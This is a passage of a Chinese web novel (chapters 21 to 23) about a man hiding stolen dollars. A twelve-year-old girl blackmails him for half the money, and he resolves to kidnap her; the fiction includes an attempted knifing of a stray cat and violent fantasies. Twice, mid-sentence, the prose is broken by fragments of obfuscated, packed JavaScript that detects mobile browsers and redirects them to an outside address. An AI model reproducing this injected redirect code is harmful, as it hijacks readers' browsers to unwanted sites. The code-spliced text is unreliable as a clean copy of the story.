蔡岛嘉把手心的票据碎屑捏得更紧,细碎的纸在掌心慢慢塌下去。潮意浮起,他这才发觉,那几片薄纸早被汗水悄悄泡软。 他张了张口,声音在喉间蠕动,像毛虫爬过湿叶: “我们先把它引过来。” 21. 第 21 章 一根最寻常不过的淀粉肠,他用它来结束过许多个生命。 “嘬嘬嘬——” 蔡岛嘉蹲在槐树下,轻轻晃动着手中剥了一半的淀粉肠,用最轻柔的声音诱惑围墙上的橘猫靠近。 “等它走到面前了,你再动手。”他低声告诫。 “好。”朵朵蹲在身边,紧张地点了点头,攥紧了一把有卡通贴纸的粉色美工刀。 那是她上美术课用的刀,她很爱惜。每个周五晚上,都会用石头和水磨上一次,刃口磨得很利,为了随时能够派上用场。 墙上的橘猫像被阴影推了一把,轻轻落在斑驳的树影中。风从槐叶缝里沙沙吹过,茶褐色的叶影一层层压在它瘦削的背上。它沿着墙根挪动,耳朵背向两侧,胡须向前绷直。它站在原地,朝蔡岛嘉缓缓“喵”了一声,仿佛是在确认敌友。 蔡岛嘉的声音放得更柔:“过来,咪咪。嘬嘬嘬。” “喵——” 橘猫终于朝他走来。 它不算漂亮的猫,更比不上养在家里的品种猫,它骨感清晰,仿佛很久没吃过饱饭,毛色有些打结,胸前一撮白毛微微翘起,在黄色花纹中尤为突兀。但它的眼睛很亮,像是琥珀里裹着一圈清水。粉色的脚垫每次落地都那么轻盈、高高竖起的尾巴轻轻晃动,像在礼貌地打着招呼。 “喵。” 橘猫终于走到了他眼前。它先是闻了闻火腿肠的气味,然后伸长脖子,露出两颗锋利的犬齿,试探地向火腿肠咬去—— “就现在——” 朵朵握紧了美工刀,寒光在一瞬划出粉色塑料壳,刺向毫无防备的橘猫! “喵呜!” 美工刀一击落空,橘猫受惊之下头也不回地跳上围墙逃走了。 “朵朵。” 身后自建楼传来何序的声音,蔡岛嘉慌忙起身。朵朵也连忙藏起美工刀,跟着站了起来。 二楼主卧的窗户不知何时开了,何序站在方方正正的窗框中,皱眉看着院子里的两人: “你们在做什么?” “我们喂猫呢。”蔡岛嘉若无其事地笑了起来,举起手中火腿肠晃了晃,“结果猫太胆小,我只是动了一下,它就吓得逃走了。” 何序怀疑的目光落在朵朵身上。 “对呀,小蔡哥哥带我喂猫呢。”朵朵背着手,美工刀藏在身后,笑嘻嘻道。 何序露出半信半疑的神情:“别玩了,回来做暑假作业。” “……知道了。”朵朵不情不愿地往自建楼里走去。何序见状,这才关上窗户,消失在窗帘背后。 朵朵走了一半,忽然转身看向蔡岛嘉:“小蔡哥哥,下回你能不能开车带我出去玩?” 蔡岛嘉看着朵朵童稚未泯的面容,忽然意识到,这是何家人里最容易撬开的一张嘴。 他快速地瞥了一眼二楼,没有窗户是开着的。 “好啊,明天下午。”他说,“你到八里村二巷等我,别让其他人知道。” “好!”朵朵甜甜地笑了,用更轻快的步伐走进了自建楼。 蔡岛嘉回到三楼,遇上靠在楼梯口的夏禧。她似乎也在窗户里目睹了刚刚一幕。 “你想做什么?”墨镜背后,夏禧的眼睛目不转睛地注视着他。 “不做什么,”蔡岛嘉敷衍道,“喂猫而已。” 晚餐时分,所有人齐聚在长木桌前。夜色从敞开透风的入户门漫进来,把玄关填得满满的。餐桌上又是素多荤少,两个大土豆做了两个菜,另外三个菜则是萝卜汤,炒青菜、番茄炒蛋。 徐朝颜皱着眉在一盆土豆炒肉里寻找失踪肉丝的痕迹,忍不住说:“妈,咱们这么多人,至少餐桌上要有两个肉菜吧?” “这不是还有一个吗?”何阿婆在一盘番茄炒蛋的边缘不耐烦地敲了敲筷子。 “番茄炒蛋哪是荤菜?”徐朝颜不可置信道。 何阿婆声音提高: “鸡蛋怎么不是荤菜?只有排骨才叫荤菜?要求那么高,多交点伙食费噻。天天赖在床上,也不出去工作,还在这里挑三拣四起来了——” 徐朝颜不服气地无声嘟囔着嘴,不知道在咧咧什么。 “妈。”何序不赞同地看了何阿婆一眼,“缺伙食费我就再交,别说这种话。” “哎哟,你有钱得不得了。”何阿婆阴阳怪气道,“你就可劲惯她吧,以后有得吃亏的时候!” 有了前车之鉴,蔡岛嘉闭紧了嘴唇,把同样的抱怨憋在心里,他可没人帮自己分担何阿婆的火力。自从红外探测器的事情之后,何阿婆是横看他不顺眼,竖看也不顺眼,连呼吸声都是一种噪音,平时没少讽刺他。 “怎么,你也嫌伙食开得不好?” 他不找麻烦,奈何麻烦要找他。尽管他埋头吃饭,竭力降低自己的存在感,但何阿婆还是冷笑着将话锋转向了他。 “没有,我觉得还行,就是家常便饭嘛。”蔡岛嘉抬起头,赔笑着说。 “那你别像昨晚一样剩饭。”何阿婆冷声说,“以前我们那个年代,一碗白米饭是多大的奢侈,我和老何,光吃饭都能吃几桶——不像你们,日子过得太好了,不知道什么是真正的苦日子,嫌这个不好又嫌那个不好……哪有那么多不好?饿上两天,吃什么都好!” “现在时代不同了,不能拿我们那时候的要求来对标孩子们。”何阿公劝道。 “有什么不同的?你瞧我们这次举办奥运会,那么多国家给我们挑刺,尤其是那美国佬,我告诉你——搞不好哪天,我们就和美国干起仗了!现在养得这么金贵,打仗的时候怎么办?开战就上吊?” “什么年代了,不可能再打仗的。”何阿公无奈摇头。 “那有什么不可能的,你看电视上——” 趁何阿婆的注意力被移走,蔡岛嘉朝何序主动搭话: “听说你是搞程序的?在家里也可以上班吗?这工作真好呀,不像我,天天要往外跑才行,每个月挣的还就那么一点。像你这种高科技工作,一定工资很高吧?” “程序员也有坐班的和弹性工作的,不是人人都可以在家工作。”何序淡淡道,“想要自由就没有那么高的薪酬福利,薪酬福利高的就没有那么多自由。都是相互的。” “那一个月工资大概有多少呢?”蔡岛嘉旁敲侧击,“我听一个北京的客人说,随随便便一个程序员,月薪都有好几万呢。” “刚好够生活。”何序说。 “有两万吗?” “两万有两万的活法,六千也有六千的活法。” 妈的,我问东,你说西,滑不溜秋的杂种。蔡岛嘉在心中暗骂,何序那张平静淡然的面孔,在他眼中越发可疑。 “就是,刚好够养一个孩子。”徐朝颜插话道,“养两个就不行了。” “怎么不行?你生,我给你带!多一张嘴能吃多少?”何阿婆马上说。 “妈,这生孩子早就不是一口饭的事情了——” “怎么不是!你看何序就被我养得多好?只要种好,怎么养都歪不了!” 话题再一次被转走,就算蔡岛嘉想转回来,也太过刻意了。这让他更加把希望寄托在明天下午和朵朵的“游戏”上。 蔡岛嘉刨完最后一口米饭,刚想把碗放下,何阿婆虎视眈眈的目光一下子射了过来。 他像被黑黝黝的枪口瞄准,手里的碗下意识停在了半空。他用了两秒钟的时间,从何阿婆警告的目光中读懂了指令,用筷子僵硬地把饭碗里剩下的上十几颗米粒赶到一起,汇入口中。 何阿婆的视线在他光溜溜的饭碗里转了一圈,验收完毕后,收回了目光,蔡岛嘉如释重负地推开饭碗,起身说: “我吃饱了,你们慢慢吃。” 没人搭理他。只有夏禧抬起脸,用那张戴着墨镜,如今看来尤为心机深重的傻脸朝他笑了笑,装作善良体贴的样子说道: “对了小蔡,你回去的时候如果听到孩子在哭,麻烦给我打个电话,我马上上来。” 装模作样。他们都知道,所谓的孩子只是一团空气,一个只存在于叙述里的东西。 蔡岛嘉假笑道:“行,你放心。” 他转身离开,身后传来乱七八糟的对话: “老公,等我生日,我想吃糖醋排骨,这个要求不过分吧?” “我不过生日。” “你不过我过啊,要不你的我也帮你一起过了吧。你生日的时候我要吃大盘鸡。” “大胖鸡是什么?”何阿婆说,“我只知道憨包鸡。” 一群蠢货。他快步走上楼。 夜里,蔡岛嘉盘腿坐在地上,趴在床前,用纸笔一条条写下手中仅有的线索。空调在头顶呜呜地吹着,五级能效的贴纸和后备箱里被强盗抢去一半的美金,都在催促他尽快行动。 还有潜伏在暗中盯梢他,不知何时就会咬上一口的戚迪。 毫无作为的每一秒,都在增大着风险。他的风险不是无功而返,而是锒铛入狱。 蔡岛嘉整理了目前的情报,依然认为最大嫌疑人是沉默寡言的何序。他撕下那一页纸,反复撕成雪花状的碎屑后扔入垃圾桶中。 门扉忽然被敲响了。 他匆忙把垃圾桶推入墙角,起身开门。 蔡岛嘉本以为是夏禧来找他,没想到开门后,门外空空如也。昏暗的客厅里,唯有窗外映进的树影在缓缓移动。 难道是听错了? 他正想关门,头顶上方咔嚓一声,像是谁踩到了枯萎的树枝。 他的手停留在门把上,冰冷的金属质感在这一刻格外清晰。他抬头往上看去,瞪大的眼珠一动不动,神秘声响却许久没有出现,仿佛和刚刚的敲门声一起,都是他炎炎夏日中产生的幻觉。 “咔嚓。” 又一声。 他无法再欺骗自己是幻觉。 不是吊顶里老鼠跑动的声音,是楼上人的脚底,踩到什么声响的动静。 可楼上是哪里?楼上只有何阿公的君子兰和大丽花。 关门吧。关门吧。他在内心疯狂呐喊。 身体却违背内心,作出了相反的举动:手把门轻轻带上,他打开了客厅的灯,扶着粗糙的木楼梯,缓缓朝上走去。 楼梯在他脚下吱呀作响,声音回荡在寂静的楼道。 蔡岛嘉打开通往天台的木门,一股比楼下更凉的风贴脸而来。天台四周半人高的水泥墙把夜色围成一口方井,墙沿上散着一排君子兰和大丽花,叶面在暗里发哑光,每一盆都被铁丝紧紧勒住脖子。 天台中央空着,几根晾衣绳在浑浊的夜幕中拉得笔直。没有人。他希望看见一只老鼠,但也没有。 他停在门口不动,耳朵里只剩下阴风吹过花叶留下的簌簌细语。 也许就是老鼠。 他在心中苍白无力地安慰自己,将更多的想象按压在头脑深处,强装镇定地关上木门,返回了房间。 房间很静,窗外也很静。再也没有什么奇怪声响从头顶传来,但蔡岛嘉无法像之前那样冷静。他仰躺在坚硬的木板床上,浮躁地不断开关着银行发来的余额短信。 自从他用编织袋里一半的美金换得夏禧的“同盟”后,深夜的婴孩啼哭停止了,但他并没有因此睡得更安稳。黑暗越来越深,他什么都没看见,被窥视的感觉却从未停止。 也许来自自建楼的人们,也许不是。 毕竟,这栋楼建立在一片染过鲜血的淤泥之上。 第二天,一夜辗转反侧的蔡岛嘉好不容易等到和朵朵约定的时间。他把车停在八里村二巷,按下车窗,让窗外的暑热吹散昨夜带来的凉气。 他平时不抽烟,但此刻忽然想来一根。在他望着不远处的小卖店犹豫时,背着粉色书包的朵朵脚步轻盈地出现在巷口。她穿着白色印花T恤,一条浅蓝色牛仔短裤,齐肩的黑发上别着那枚洗得泛白的粉色毛线发夹,看见蔡岛嘉的车,隔老远就挥舞着手,快活地跑了过来。 “我把小咪也带来了!”朵朵一上车,就迫不及待地打开书包,给他看那只肥肥胖胖的花枝鼠。 对蔡岛嘉而言,更吸引他目光的,不是那只蠢笨的老鼠,而是旁边那把熟悉的粉色美工刀。一股“教导”的成就感涌上心头,稍微冲淡了他心中残留的不安。 “我去买瓶水,你想喝什么?”他打开车门,问。 “可乐!冰可乐!”朵朵高兴地说。 “行,在车里坐着等我。” 蔡岛嘉走到小卖店,从凝着冷霜的冰柜里拿出一瓶雪碧,又拿了一瓶可乐,在柜台前迟疑了片刻,随手拿了一包二十三元的玉溪,单独揣进裤兜里,提着装有饮料的水回到了车上。 朵朵正在副驾上好奇地摆弄一只老鼠挂件。他认出那是他原本挂在后视镜上,后来被他扯下来的那一只。 蔡岛嘉的脸色有一瞬变化,他抢过老鼠挂件,看也不看地扔进了手套箱里。 “小蔡哥哥,你也喜欢老鼠吗?”朵朵像是没看出他的脸色难看一样,歪头询问。 “还行吧。”他敷衍道,“系好安全带,我们要出发了。” 朵朵系安全带的样子很不熟练,手忙脚乱了一阵才终于系好,她端端正正地坐在副驾,难掩脸上的兴奋神情: “我们去哪儿呢?” “到了就知道了。”蔡岛嘉说。 引擎启动,黄色出租车在几个拐弯后驶出狭窄的八里村,汇入拥挤的城市车道,成为大海中的一滴普通海水。 二十分钟后,黄色出租车停在一家电子游戏厅外。蔡岛嘉带着东张西望的朵朵进入冷气充足的大厅。这里不允许未成年人进入,但有成年人带的则不被限制。他换了二十块钱的游戏币,抓了一把给朵朵:“你想玩什么?” 朵朵左右张望一会,手指一指:“哇,那是什么?我想玩那个!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728002|189544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 蔡岛嘉朝她手指的方向一看,朵朵说的是一台双人游戏机,屏幕上正播放着血腥的与丧尸枪战的画面。 蔡岛嘉二话不说就答应了。 他把八个游戏币投入其中,双人机上红光乱跳,倒计时“3、2、1”。蔡岛嘉把枪柄递给朵朵:“你左边,我右边。” 游戏开始了,在袭来的丧尸群中,朵朵一边尖叫一边笑,屏幕上血花四溅。没一会,她操控的人物就丢掉了第一条命。 “最近天气太热了,朵朵。你晚上睡觉还关空调吗?”蔡岛嘉状若随意地问道。 “不关,关了得热死。”朵朵笑嘻嘻道,“我喜欢开十六度盖厚被子睡觉。” “啊?那不是一个月电费要很多?”蔡岛嘉故作惊讶,“你们家都是谁付电费呀?” “我爸出啊,我妈哪有钱付电费?她连吃炸鸡排都要爸爸付钱呢。”朵朵目不转睛地盯着游戏屏幕,一枪打爆了一个丧尸的头,“奶奶老是叫妈妈出去上班,但妈妈说活着就要享受,工作是一种折磨。我倒觉得,每天都在家听奶奶唠叨才是折磨呢。” 蔡岛嘉熟练地躲开一个僵尸的袭击,说; “你爸爸工资一定很高吧?最近有没有送你什么游戏机之类的?” “他才不给我买游戏机呢,我想要个手机他都不给买。”朵朵撇了撇嘴,“他说我现在的任务就是好好学习,那些东西是影响学习的。明明他自己有许多游戏机。” 蔡岛嘉控制的人物被扑脸的丧尸咬住了命脉,他的那一半屏幕变得血红,但他没有功夫去在意丢掉的那一条命,某种敏锐的直觉让他下意识追问: “都是什么游戏机?” “我不知道。”朵朵耸了耸肩,“他不让我玩。” “是不是很多个像电脑屏幕一样的稍微小一些的屏幕?” “对对对,你也看见啦?” 蔡岛嘉剩下的最后一条命也没了,他毫不恋战地放下手柄,目光定定地投向一无所知,仍沉浸在游戏中的朵朵。 “你知道他是什么时候买的吗?”他屏息凝神问道。 朵朵没有立即答复他,她正忙着躲藏追击的丧尸。在等待的时间里,蔡岛嘉的内心像是有火在灼烧,火越烧越旺,在彻底将他焚尽之前,朵朵的最后一条命也没了。大屏幕上出现了共同的“GAME OVER”字样。 朵朵放下手柄,意犹未尽地看着屏幕,好一会才想起蔡岛嘉问了什么,思考了片刻,肯定地说: “反正是春节前。因为爸爸说公司发了年终奖。” 时间对上了—— 防水袋里的旧报纸就是一月份的时期。 蔡岛嘉的心脏像是被谁踩了油门,在胸腔里疯狂跳动起来。他把发热的右手背在身后,在裤子上擦掉了掌心的汗水,点了点头,语调平平地说:“大人都是这样的,等你成年了,想玩什么游戏都行。” 他只是随口一说,朵朵却很认真地看着他: “你也是大人,但你和他们不一样。你就会带我来游戏厅打游戏。他们只会让我做作业,所以我讨厌和他们一起。” 蔡岛嘉很少直面他人的称赞,在这之前,他也没想过临近中年一事无成的自己会得到他人的称赞——尽管对方只是一个小女孩,或许说完转头就会忘掉,但他还是因为这赞美感到一阵慌乱和不自在。 “那可能是因为我还不是大人吧。”他别开目光。 他们接着又玩了其他游戏。他本该在达成目的后迅速撤离,但不知为何——他绝不承认是因为那无意的一声称赞,在用完二十元的游戏币后,蔡岛嘉又买了五十的游戏币,陪着朵朵把一个个游戏机都玩了一遍。 游戏厅里的人流在达到一个巅峰后,慢慢减少,最终只剩下零星一些人还在游戏机前奋斗,而街道上那些餐馆饭店,则开始人山人海起来。 在打完剩下的游戏币后,蔡岛嘉看了眼手机上的时间,对朵朵说:“快六点了,我们该回家吃饭了。” “我不想回去吃饭,奶奶做的饭好难吃。”朵朵拉着他的胳膊晃悠,“小蔡哥哥,我们去吃麦当劳吧?” 吃麦当劳?谁付钱?很明显,他不能指望一个初一女孩有钱可付。 他干笑道:“麦当劳没营养,油炸的对身体不好,而且你奶奶知道了要骂我。我们还是回去吃吧。” “我们不告诉奶奶就行了!反正我也没有和别人说我和你出来玩了。”朵朵不依不饶道,“我和妈妈说的都是我去找同学玩了,他们知道我不回家吃饭。我想吃麦当劳,我们去吃麦当劳吧——求求你了,小蔡哥哥——” “改天吧,改天我一定带你去吃好吗?”蔡岛嘉开始不耐烦,但脸上还是赔着笑脸,“哥哥今天没带那么多钱出门。” “我们去换啊。”朵朵理所当然道。 “换什么?” 朵朵不再晃动他的手臂,她的双手依然停在他的手臂上,但似乎只当那是一张椅子,一面墙壁。圆溜溜的杏眼直直地看着他,眼里依然有天真神色,但那股天真,突然变成光滑的蝮蛇,缓缓爬上他的后背,渐渐收紧在脖颈上。 他仿佛听到了嘶嘶的腹语。 “换钱啊。”她说,“你的后备箱里,不是有一袋外国的钱吗?” 蔡岛嘉的眼睛猛然瞪大了,他想问她“你怎么知道”、“你什么时候知道的”,但他的喉咙像是被刚刚打成烂泥的血肉给堵住了,不仅咽不下去,好像还要反涌上来。 如果对方是何序,是夏禧,是自建楼里的任何一个人,他都能说些什么。无论是否有用,无论是否废话。 但站在他面前,说出这句话的,是一个只有十二岁的小女孩。她的书包里,装有一只灰色的肥硕老鼠,以及一把粉色的美工刀。 “你去买水的时候,我看了下后备箱——” “谁允许你打开后备箱了?!”蔡岛嘉没控制住音量,导致游戏厅里剩下的所有人都朝他看了过来——一个冲着小女孩发脾气的年轻男人。 他的脸彻底红了,有怒火,也有窘迫,但更多的,是彻头彻尾的恐慌。 “我不是让你在车里坐着等我吗?”他压低声音,咬牙切齿地说道。 “我想找纸巾拧鼻涕,但车里没有。所以我就开了后备箱。”朵朵一脸无辜,“结果也没找到,我就把鼻涕拧在袖子上了。” 蔡岛嘉恨不得把眼前这个小恶魔的头狠狠按进水里,在他的想象中,她那犯贱的两只手已经软绵绵地一动不动。 但朵朵并没有给他更多思考,或者说——更多用想象泄愤,唤回理智的时间。 她依然看着他,执着地说道: “小蔡哥哥,我想吃麦当劳。我们去吃麦当劳吧。” 蝮蛇缠绕在他的脖子上,蛇信已经碰到了他的耳垂。他想跳起来,想尖叫,想用带倒勾的弩箭射穿它的身体。 但此刻,他要先带这条蛇去吃麦当劳。 22. 第 22 章 蔡岛嘉站在一棵粗壮的梧桐树下,摸出了兜里那包云溪。 他不抽烟,因此忘了自己应该买一个打火机。 “操。” 他低声骂了一句,觉得世界上不顺心的事都发生在了他一人身上。蔡岛嘉把云溪塞回兜里,抬眼看向前方的麦当劳。 光可鉴人的玻璃墙后,是正在大快朵颐的朵朵。她抓着一只鸡翅,正在分骨嗦肉,鲜嫩饱满的鸡翅在那张小嘴里转了一下,再出来时就只剩枯枝似的细瘦骨头。 他就像仍在包装纸袋里的那只鸡腿,束手无策地目睹着同伴的死亡,煎熬地等着下一个轮到自己。 伸头只是一刀,缩头却可能是好几刀。蔡岛嘉决定主动结束这煎熬,他抬脚走回麦当劳,推开了沉重冰冷的玻璃门,冷气瞬间钻入他的衣领,沿着他的脊骨流窜。 他坐回朵朵对面,强迫自己露出笑脸。 “吃饱了吗?要不要再点个什么?”他近乎讨好地说。 “不用了,已经有点撑了。”望着餐盘上满满当当的空盒子和纸袋,朵朵心满意足地舔了舔手指头,“但还可以来个冰淇淋。” “冰淇淋,”蔡岛嘉的牙缝里碾出这三个字,“好,吃什么口味的?” 朵朵想了想,认真道:“原味。” 蔡岛嘉起身朝甜品站走去,转身的瞬间笑容就消失了。 他阴沉着脸站在甜品站前,对穿着红色工作制服的店员要了一个原味甜筒。冷白从钢口落下,绕着糖筒打出一圈又一圈,圈影相叠,鳞纹暗生。它把自己盘起来,安静、克制,像一条在寒气里屏息的蛇,直到最顶处轻轻挑起一笔,寒意无声地落在空气里。店员把这条蛇递给他,他接过,寒意隔着筒皮麻痹了他的指尖,他挂上笑脸,把这条蛇交给另一条蛇。 “哇,真好吃!”朵朵一口咬掉甜筒最尖端,缩起肩膀,快活地摇了摇身体。 两人回到黄色出租车上,蔡岛嘉下意识地通过调整后视镜位置,查看是否周遭有可疑车辆和行人——自从被戚迪跟踪以后,他就养成了这个习惯。 朵朵在副驾上咔呲咔呲地咬着甜筒皮,书包里的小咪不知何时被她掏了出来,肥硕的灰色花枝鼠来回转悠着,捡食她掉落下来的甜筒碎屑,一条扫来扫去的灰色细长尾巴,和野生老鼠无异,蔡岛嘉移开目光,按压下恶心的感觉。 安全带已经系好了,但车却迟迟没有启动。 他不敢带朵朵回自建楼,至少现在还不行。 “朵朵呀,哥哥跟你商量件事。”他用最轻柔的语气说道,“后备箱里的,是哥哥的私房钱。你能不能帮哥哥保密,不要告诉任何人——哪怕是你爸爸妈妈问起?” “为什么?”朵朵头也不抬,继续沿着水平线咬甜筒皮,卡呲卡呲,卡呲卡呲。 那只老鼠捡到了一块稍大的碎屑,在朵朵身上停了下来,也在卡呲,卡呲。几条长长的胡须上下抖动。 “因为是私房钱啊,哥哥不想让任何人知道。你帮我保密的话,我每周都带你来游戏厅玩,还请你吃麦当劳。”尽管对方连一个正眼都没有朝他投来,蔡岛嘉还是露出了谄媚的表情。 他自认已经给出了对十二岁女孩来说,十分优渥的交换条件。 但他忘了,如果是普通的十二岁女孩,不会举刀刺向流浪猫,也不会在第一次上别人车的时候,就擅作主张打开后备箱。 “那如果你没空呢?”朵朵问。 “我肯定有空啊,朵朵!”蔡岛嘉忙说,身体在安全带的束缚下前倾,本能地想要用更靠近的方法来取得朵朵的信任,“我保证,每周都能抽半天时间出来,带你玩带你吃好吃的。” 最后一点甜筒皮落进了肚子里,朵朵终于抬起头来看向蔡岛嘉。 “可我说的是,如果你没空呢?” “什么?” “如果,你没空,呢?” 他愣了一会,她人为切断的词语和笔直的注视,带给他一股强烈的压迫感。他本能地缩回了原本的位置,肩膀紧紧地贴在座椅上。 “如果我没空……”他试探地说,“那就改个时间?” “不行。”朵朵说。 “那你说怎么办?” “袋子里的钱,分我一半。”她仰起头,用那张十二岁的面孔,纯真而专注地望着他,“这样我就可以自己买麦当劳吃了。” 他愕然地瞪着她,试图在那双漆黑的眼睛里寻找玩笑的痕迹。但那里黑洞洞一片,什么都没有,就连他的影子也被那片黑暗吞没。 “你不愿意就算了。”朵朵耸了耸肩,无所谓地说,“我只是随便说说。” “那你会帮我保密吗?”蔡岛嘉不死心地追问。 “不知道啊,”朵朵低下头,用手拨弄那只花枝鼠的尾巴,“我也想替小蔡哥哥保密,但万一哪天忘记了呢?你知道的,奶奶和妈妈总是有很多问题。” 看着那张无辜的侧脸,蔡岛嘉萌生了就在这里掐死她的想法。 人的一生有七八十年,谁会没有过杀死某人或者杀死自己的想法呢?他从不为自己的想法感到羞耻,更何况,他也没有每次都付诸行动。 “我给你一半,你也用不了呀。袋子里是美金,你去银行换汇,银行也不会换给你的,因为你还没成年呢,他们会问你钱是从哪儿来的,会联系你的父母。” “没关系,我不用就行了。每年的过年钱,我都存着呢。等我成年那天,再一起存去银行。”朵朵再次抬起头来看向他。 他的最后一次挣扎也被粉碎,蔡岛嘉憋着一口气,半晌才说: “我分给你,你就会替我保密?不告诉任何人?哪怕是你爸爸妈妈?” “嗯,不告诉任何人。”朵朵肯定地点头。 操。 操操操。 内心的诅咒和杀意已经涌过了喉咙口,但蔡岛嘉拼尽全力将它咽了回去。他扯起两边嘴角,笑得比哭还难看: “好,我给你一半,但你一定不能告诉别人。” “好!”朵朵笑了起来,用力点了点头。 蔡岛嘉启动引擎,将车开出露天停车场。悔意来得很快,舌根发苦,但说出的话已经无法抹掉,发生的事也已无法改变。他不悔,但开始恨。恨昨天被她“玩”蚂蚁吸引,恨自己自作聪明要带她出来玩,恨他引狼入室,亲自打开了秘密的大门,恨他犯下最不该犯的大错——轻视一个未成年人所能拥有的最大的恶意。 红绿灯在变换,他在脑海中飞快思索逃生的路线,而朵朵已经在轻快地说起具体的步骤: “到院子里后,我在车边等你,你去拿个东西,来装袋子。这样他们看见就不会问来问去了。我们去三楼,在你房间里分。我要看着。” 蔡岛嘉心不在焉地听着,含糊地“嗯”了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728003|189544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两声。 这条路该死的短。比任何时候都短。在他想出办法之前,龟缩在钢筋大楼之中的逼仄八里村已经出现在眼前,再一眨眼,破旧的自建楼已经近在眼前。 他根本没有时间逃生。也或许,给他再多时间,他也找不到逃生之路。 因为从出发起,这就是一条绝路。 他把车里的杂物和后备箱的防水袋一起塞入一个大的超市购物袋,提着它走进了自建楼。一楼客厅里电视声震耳欲聋,何阿婆正聚精会神地看着屏幕上的两个日本鬼子跪地求饶。看见和蔡岛嘉一起回来的朵朵,皱了皱眉:“你们怎么一起回来?” “我在巷子口遇到小蔡哥哥了,他载了我一程。”朵朵嘻嘻哈哈道。 “对。”蔡岛嘉皮笑肉不笑地说。 何阿婆半信半疑的目光在蔡岛嘉手里的购物袋上转了一圈,她的眼神到底不能像X光一样穿透外层的杂物看到包在中心的防水袋,片刻后,她失去兴趣,收回目光,重新投向电视屏幕。 蔡岛嘉上了二楼,再是三楼。 他的脚步沉重而拖曳,身后的脚步则轻盈而松快。 三楼没有人,他迅速闪回自己的房间,朵朵跟着钻了进来,反手关上了门,贴心地锁住。 朵朵脱下背上的书包,打开书包盖,露出空空荡荡的内里和底部那把粉色美工刀,然后用天真的神情望着蔡岛嘉,无声地催促他打开防水袋分钱。 第二次了。 这是他第二次分出一半。 从一开始的五万美金,到现在的两万五不到,马上,它又要变成一万二左右。减少的数字就像命运的巴掌,每一次都带来灭顶的羞辱。而他却只能被动承受。 这种熟悉的,无能为力的窝囊,与他人生中的多个时刻挂钩:听了讲却听不懂的时候;体测落在最后,被老师呵斥的时候;给班花送情书却被当众宣读的时候;爸妈拿着成绩单,说他聪明只是不用心读书的时候—— 那些冷的、臭的、腥的东西,像刀尖一样从他的皮肤下拼命往外捅。 他将对内的愤怒转为对外的愤怒,发泄在那些无力反击他的生物身上。他将被凌辱的耻辱,化为凌辱的痛快,在他的天地中,完成身份的转化。 此时此刻,那熟悉的感觉,也在他的皮肤下尖叫起伏,迫不及待地要穿破皮肤,射向眼前的女孩。 现在还不是时候。他克制着杀意,比自己想象中更加冷静。 在朵朵殷切的注视下,他蹲下身,将购物袋放到地上,打开防水袋,将里面的钱一捆又一捆地放进朵朵展开的书包。 袋子越来越瘪,而朵朵的书包却越来越满。 终于,两人剩下的捆数完全一致了。朵朵合上了书包盖,满意地笑了:“那我先回房间了,小蔡哥哥。” “别忘记答应我的事。”蔡岛嘉挤出声音。 “知道。”朵朵背上书包,转身走出了他的房间,脚步比来时更加轻快。 一个小小的背影,两条细腿从略大的短裤下伸出,袜口有一圈卡通边;书包鼓胀,布料被撑出细密的纹。她迈步几乎是跳着,鞋底轻响,却在狭窄走廊里被放大成空洞的回声。 在那一刻,他忽然窥见了唯一的生路。 钱被何序拿去了,而何朵朵是他唯一的孩子。 蔡岛嘉的脑海中只剩下三个字。 绑架她。 23. 第 23 章 夏禧用钥匙打开黑色的防盗门,笨笨一马当先冲了进去。她松开牵引绳,把盲杖靠在墙边,打开了墙上的电灯开关。 小小的二室一厅还是她离开时的样子,堆满了从各个垃圾站捡回来的二手物品。她把那些缺了一个角,或者破了一块的家具用三轮车拖回来,洗得干干净净后放在家里,家满当起来了,她的心好像也就满当起来了。 “宝宝们,妈妈回来啦。” 她取下墨镜放在鞋柜上,提着手中的塑料口袋走向小小的后院。笨笨兴奋地跟随在她身后。 那些竹墙依然是老样子,风雨似乎没有对它造成影响,但那些她亲手制作的跷跷板、猫爬架都已经变得腐朽不堪,被掩映在茂盛的杂草之中。屋檐下,三个五升的花盆并排而放,盆里是土,土上是不同的玩具。 她蹲在那三个花盆前,将塑料袋里的宠物罐头一一拿出。 “平平、安安、乐乐,妈妈来看你们了。你们在天上过得好吗?还是说,已经转世投胎了?如果能投胎就投胎去吧,你们上辈子命苦,这辈子一定能投个好胎。不用等妈妈,妈妈还不知道什么时候才能来呢。” 她望着那三个花盆,絮絮叨叨地说着话。笨笨仿佛也理解了她的心情,安静地趴在身旁,乌黑的眼珠定定地望着夏禧。 “妈妈已经找到杀害你们的人了。你们放心,妈妈一定会让他付出代价。” 她拿开花盆上的玩具,用一旁的小铲子刨开面上的土,将罐头依次倒入,然后又重新填埋上。 做这些的时候,她不由地想起它们还在的时候。想起土狗平平初遇时毛发稀疏,瘦骨嶙峋,后来却被她喂得油光水滑,眼神黑亮,想起平平最喜欢玩捡树枝的游戏,想起她在午睡后的屋檐下,为它梳理那身黄中掺白的长毛;想起蓝灰色的安安,被她收养,治好皮肤病后,越长越胖,走起路来像一个移动的小煤气罐,想起它每次吃饭都挤在第一个,打雷都无动于衷;想起最瘦的折耳乐乐,遇到它的时候,它已经为先天病所折磨,她每天都腾出时间给它按摩,卖唱挣的钱大多都拿去给它买药,做治疗,而它是最亲人的一个,每到夜晚都会钻入她的被子,把小小的头枕在她的手上,依恋地偎依着她。 